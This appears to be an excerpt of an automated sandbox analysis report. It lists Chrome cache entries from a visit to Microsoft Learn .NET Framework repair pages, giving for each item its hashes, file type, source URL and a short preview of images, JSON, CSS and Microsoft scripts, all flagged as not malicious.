SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	179356
Entropy (8bit):	5.435190027091877
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVh:Wof3G0NSkNzMeO7z/l3h
MD5:	0F61EF7FBE30EC2928271294A8C024DE
SHA1:	2406F5A322682E63FFD6E4C800279C4A2863C5FA
SHA-256:	C615B312E47BAC8CDD9C379BF267AE6F9B4F17CC86C568280DC94598207AAFC1
SHA-512:	1205F73DFA6D4541E8CE391ED8574278E89620DCE215852D090A8BEB98C3BC994D123F42DCBFE55973418D51AABA413C8A29EB26019606A4A9C6FA320FBEAF0F
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
